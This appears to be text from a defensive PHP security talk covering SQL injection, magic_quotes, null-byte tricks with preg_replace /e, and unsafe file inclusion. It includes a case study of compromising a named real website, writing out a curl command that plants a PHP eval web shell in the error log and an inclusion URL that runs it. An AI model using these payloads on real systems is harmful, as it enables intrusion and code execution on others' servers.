Studied "Multimedia" FFS; Sound Eng. Major ◦ Been coding in PHP for about 12 years (give or take) ◦ Been hacked.... a lot. • Main goal of today's talk: ◦ Scare the hell out of you. ◦ Why? 'Cause being scared = being defensive
remain ignorant of important issues (encodings, string escaping, etc...); • Traditionally has made terrible design decisions (auto register variables); • Has a lot of quirks, gotchas, inconsistencies and unknowns...
made here that uid is a int $sql = “select * from users where role = ‘admin’ and uid = “.$uid; ... } • function isAdmin($uid) { // ensure $uid is an int $uid = (int)$uid; $sql = “select * from users where role = ‘admin’ and uid = “.$uid; ... } • So, what is $uid if we pass in... (cue live coding)
of history: ◦ 1995 -> PHP was invented! Yay! ◦ 1995 -> Java was invented! Yay! ▪ 1996 Java invented JDO, with a little feature called "Prepared Statements" ▪ PHP catches up with PDO in the core... in 2005 ▪ Was still 8 bloody years ago!!! • Why do people still not use it? ◦ This might have something to do with it... ▪ http://lmgtfy.com/?q=PHP+MySQL+insert+tutorial
◦ Magically added quotes to every input (Get, Post and Cookies) ◦ All good, apart from inserting data read from files or out of the DB; We can do that too!!!!!! :D :D with: magic_quotes_runtime! • Defaults: magic_quotes_runtime -> off; magic_quotes_gpc -> on! • So, knowing this, is there a SQL injection attack in this code? function findUser($username) { mysql_query(“SELECT * FROM users WHERE name LIKE ‘%”.$username.”%’”); } • Also, what about shit like the EOF char (0x1A)?
quotes: if (get_magic_quotes_gpc()) { die(“A quick and bloody death”); } • Escape everything at the very last moment; ◦ If you need to use strip_anything / anything_unencode -> you're doing it wrong!! ◦ Escape correctly for your chosen output: HTML, CSV, URL, etc.
functions held together with chewing gum • What a C string looks like: • PHP String: H E L L O W O R L D \0 A S T R I N G \0 W I T H N U L L \0 C functions only see this
echo preg_replace( "/".$_GET["replace"]."/i", $_GET["with"], $_GET["in"] ) • preg_replace can accept an eval modifier: /e ◦ Could pass something like: ?replace=test/e ◦ Would result in "/test/e/i" <- invalid pattern! • Add on a null terminator and we're laughing! ◦ Pass in ?replace=test/e%00 ◦ $_GET["replace"] is now "/test/e\0/i" ◦ preg_replace sees: "/test/e"
• Most commonly used and completely flawed pattern: ◦ include($_GET["module"].".php"); ▪ That .php does _not_ make it safe! ◦ Instead do something like this: switch ($_GET["module"]) { case "moduleA": include "moduleA.php"; break; ... }
are after easy targets, small improvements go far! • PHP has a _lot_ of configuration options: ◦ http://www.php.net/manual/en/ini.list.php ◦ please, please, please set open_basedir ◦ disable_functions is great, only: ▪ can't disable eval or backticks!!! (wtf?) • Cue: Safemode rant... • Apache worker considerations ◦ Has pool of worker processes <- can run out of RAM ◦ Connections queued after these are used; ◦ Once queue is full -> death.
twitter password! ◦ Website interacts with twitter, it's got to be there somewhere. • Examine software versions: ◦ No info in http headers ◦ Wordpress version in meta tag ▪ Some XSS, but no code injection • Google search! ◦ http://lmgtfy.com/?q=site%3Astephenfry.com+filetype%3Aphp ◦ Uncovered a bunch of these types of URLs: ▪ stephenfry.com/section.php?section=clubfry&subsection=twitter ▪ Using include($_GET["subsection"].".php"); ??
was enabled, would have been game over; it's not... ◦ So must get code onto server! (Local File Injection) • Attempted to read in CGI vars from /proc/self/environ (no dice) • But! Apache error log was accessible through /proc/self/fd/2 (FYI: this seems to be accessible by default on Red Hat / Centos) • Use CURL to issue request with PHP code (sans host to get into error log) ◦ curl "http://www.stephenfry.com/" -H "Host:" --referer "<?php eval(\$_GET [cmd]); ?>" • Use this to bootstrap any other command: ◦ http://www.stephenfry.com/section.php?section=clubfry& subsection=/../../../../../../../../../../proc/self/fd/2%00&cmd=phpinfo
have a file inclusion vulnerability! • Inclusion of the log file: ◦ Preserve log file permissions! ◦ Open Base Dir!! ◦ Safemode! Different owners! ◦ SE Linux! Unable to run log files as PHP • Writable directories: ◦ Precache? ◦ Cache in DB? • Eval: ◦ Safemode (why did they get rid of this again?) • Probably others...
be exploited? ◦ Don't be lazy! • Defer escaping, make it obvious • Be mindful of PHP's workings • Always remember: PHP is silently plotting your demise.